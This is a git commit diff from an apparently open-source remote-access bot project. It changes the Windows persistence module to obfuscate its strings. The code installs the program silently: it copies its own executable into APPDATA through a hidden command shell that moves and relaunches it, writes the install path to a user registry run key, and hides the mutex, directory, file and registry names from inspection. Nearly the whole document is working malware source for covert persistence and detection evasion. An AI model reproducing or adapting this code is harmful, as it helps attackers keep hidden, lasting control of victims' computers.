1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00

Win: winpersist.c now uses obfuscation

- The API was switched to force Ascii versions of the winapi
This commit is contained in:
CPunch 2022-05-16 11:02:56 -05:00
parent 7f587f3df2
commit 7175e2ec00

View File

@ -1,4 +1,4 @@
/* platform specific code for achieving persistence on windows */ /* platform specific code for achieving persistence on windows (FORCES ASCII) */
#include <windows.h> #include <windows.h>
#include <shlobj.h> #include <shlobj.h>
@ -10,6 +10,8 @@
#include "lconfig.h" #include "lconfig.h"
#include "lmem.h" #include "lmem.h"
#include "lerror.h" #include "lerror.h"
#include "lvm.h"
#include "lbox.h"
/* we want a semi-random mutex that is stable between similar builds, /* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */ * so we use the GIT_VERSION as our mutex :D */
@ -31,14 +33,18 @@ bool laikaB_checkRoot() {
/* mark that laika is currently running */ /* mark that laika is currently running */
void laikaB_markRunning() { void laikaB_markRunning() {
laikaB_mutex = OpenMutex(MUTEX_ALL_ACCESS, false, TEXT(LAIKA_MUTEX)); LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX);
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
if (!laikaB_mutex) { if (!laikaB_mutex) {
/* mutex doesn't exist, we're the only laika process :D */ /* mutex doesn't exist, we're the only laika process :D */
laikaB_mutex = CreateMutex(NULL, 0, TEXT(LAIKA_MUTEX)); laikaB_mutex = CreateMutexA(NULL, 0, mutex);
} else { } else {
LAIKA_ERROR("Mutex already exists!\n"); LAIKA_ERROR("Mutex already exists!\n");
} }
LAIKA_BOX_SKID_END(mutex);
} }
/* unmark that laika is currently running */ /* unmark that laika is currently running */
@ -46,84 +52,89 @@ void laikaB_unmarkRunning() {
ReleaseMutex(laikaB_mutex); ReleaseMutex(laikaB_mutex);
} }
HKEY openReg(HKEY key, LPCTSTR subKey) { HKEY openReg(HKEY key, LPCSTR subKey) {
HKEY hKey; HKEY hKey;
if (RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to open registry key!\n"); LAIKA_ERROR("Failed to open registry key!\n");
return hKey; return hKey;
} }
/* returns raw string value from registry */ /* returns raw string value from registry */
LPTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) { LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
LPTSTR str = NULL; LPSTR str = NULL;
DWORD ret; DWORD ret;
/* get the size */ /* get the size */
*sz = 0; *sz = 0;
RegQueryValueEx(key, val, NULL, NULL, NULL, sz); RegQueryValueExA(key, val, NULL, NULL, NULL, sz);
if (*sz != 0) { if (*sz != 0) {
str = (LPTSTR)laikaM_malloc(*sz); str = (LPSTR)laikaM_malloc(*sz);
if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS) if ((ret = RegQueryValueExA(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to read registry!\n"); LAIKA_ERROR("Failed to read registry!\n");
} }
return str; return str;
} }
void writeReg(HKEY key, LPCTSTR val, LPTSTR data, DWORD sz) { void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) {
LONG code; LONG code;
if ((code = RegSetValueEx(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to write registry!\n"); LAIKA_ERROR("Failed to write registry!\n");
} }
void getExecutablePath(LPTSTR path) { void getExecutablePath(LPSTR path) {
TCHAR modulePath[MAX_PATH] = {0}; CHAR modulePath[MAX_PATH] = {0};
if (GetModuleFileName(NULL, modulePath, MAX_PATH) == 0) if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
LAIKA_ERROR("Failed to get executable path!\n"); LAIKA_ERROR("Failed to get executable path!\n");
lstrcat(path, TEXT("\"")); lstrcpyA(path, "\"");
lstrcat(path, modulePath); lstrcatA(path, modulePath);
lstrcat(path, TEXT("\"")); lstrcatA(path, "\"");
LAIKA_DEBUG("EXE: %s\n", path); LAIKA_DEBUG("EXE: %s\n", path);
} }
void getInstallPath(LPTSTR path) { void getInstallPath(LPSTR path) {
TCHAR SHpath[MAX_PATH] = {0}; LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE);
CHAR SHpath[MAX_PATH] = {0};
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */ /* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
if (SHGetFolderPath(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK) if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
LAIKA_ERROR("Failed to get APPDATA!\n"); LAIKA_ERROR("Failed to get APPDATA!\n");
PathAppend(SHpath, TEXT(LAIKA_INSTALL_DIR)); PathAppendA(SHpath, instDir);
if (!CreateDirectory(SHpath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) if (!CreateDirectoryA(SHpath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
LAIKA_ERROR("Failed to create directory '%s'!\n", path); LAIKA_ERROR("Failed to create directory '%s'!\n", SHpath);
PathAppend(SHpath, TEXT(LAIKA_INSTALL_FILE)); PathAppendA(SHpath, instFile);
/* write to path */ /* write to path */
lstrcat(path, TEXT("\"")); lstrcpyA(path, "\"");
lstrcat(path, SHpath); lstrcatA(path, SHpath);
lstrcat(path, TEXT("\"")); lstrcatA(path, "\"");
LAIKA_DEBUG("INSTALL: %s\n", path); LAIKA_DEBUG("INSTALL: %s\n", path);
LAIKA_BOX_SKID_END(instFile);
LAIKA_BOX_SKID_END(instDir);
} }
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we /* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
spawn a shell to move the exe *after* we exit. */ spawn a shell to move the exe *after* we exit. */
void installSelf() { void installSelf() {
TCHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0}; CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0};
getExecutablePath(szFile); getExecutablePath(szFile);
getInstallPath(szInstall); getInstallPath(szInstall);
if (lstrcmp(szFile, szInstall) == 0) { if (lstrcmpA(szFile, szInstall) == 0) {
LAIKA_DEBUG("Laika already installed!\n"); LAIKA_DEBUG("Laika already installed!\n");
return; return;
} }
@ -131,14 +142,14 @@ void installSelf() {
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall); LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */ /* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
lstrcpy(szCmd, TEXT("/C timeout /t 3 > NUL & move /Y ")); lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */
lstrcat(szCmd, szFile); lstrcatA(szCmd, szFile);
lstrcat(szCmd, TEXT(" ")); lstrcatA(szCmd, " ");
lstrcat(szCmd, szInstall); lstrcatA(szCmd, szInstall);
lstrcat(szCmd, TEXT(" > NUL & ")); lstrcatA(szCmd, " > NUL & ");
lstrcat(szCmd, szInstall); lstrcatA(szCmd, szInstall);
if (GetEnvironmentVariable("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecute(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32) if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
LAIKA_ERROR("Failed to start shell for moving exe!\n"); LAIKA_ERROR("Failed to start shell for moving exe!\n");
laikaB_unmarkRunning(); laikaB_unmarkRunning();
@ -146,35 +157,39 @@ void installSelf() {
} }
void installRegistry() { void installRegistry() {
TCHAR newRegValue[MAX_PATH] = {0}; LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY);
LPTSTR regVal; LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL);
CHAR newRegValue[MAX_PATH] = {0};
LPSTR regVal;
DWORD regSz; DWORD regSz;
DWORD newRegSz; DWORD newRegSz;
HKEY reg; HKEY reg;
/* create REG_MULTI_SZ */ /* create REG_MULTI_SZ */
getInstallPath(newRegValue); getInstallPath(newRegValue);
newRegSz = lstrlen(newRegValue); newRegSz = lstrlenA(newRegValue);
reg = openReg(HKEY_CURRENT_USER, TEXT(LAIKA_REG_KEY)); reg = openReg(HKEY_CURRENT_USER, regKey);
if ((regVal = readReg(reg, TEXT(LAIKA_REG_VAL), &regSz)) != NULL) { if ((regVal = readReg(reg, regKeyVal, &regSz)) != NULL) {
LAIKA_DEBUG("Current Registry value: '%s'\n", regVal); LAIKA_DEBUG("Current Registry value: '%s'\n", regVal);
/* compare regValue with the install path we'll need */ /* compare regValue with the install path we'll need */
if (regSz != newRegSz || memcmp(newRegValue, regVal, regSz) != 0) { if (regSz != newRegSz || memcmp(newRegValue, regVal, regSz) != 0) {
LAIKA_DEBUG("No match! Updating registry...\n"); LAIKA_DEBUG("No match! Updating registry...\n");
/* it's not our install path, so write it */ /* it's not our install path, so write it */
writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz); writeReg(reg, regKeyVal, newRegValue, newRegSz);
} }
laikaM_free(regVal); laikaM_free(regVal);
} else { } else {
LAIKA_DEBUG("Empty registry! Updating registry...\n"); LAIKA_DEBUG("Empty registry! Updating registry...\n");
/* no registry value set! install it and set! */ /* no registry value set! install it and set! */
writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz); writeReg(reg, regKeyVal, newRegValue, newRegSz);
} }
RegCloseKey(reg); RegCloseKey(reg);
LAIKA_BOX_SKID_END(regKeyVal);
LAIKA_BOX_SKID_END(regKey);
} }
/* try to gain persistance on machine */ /* try to gain persistance on machine */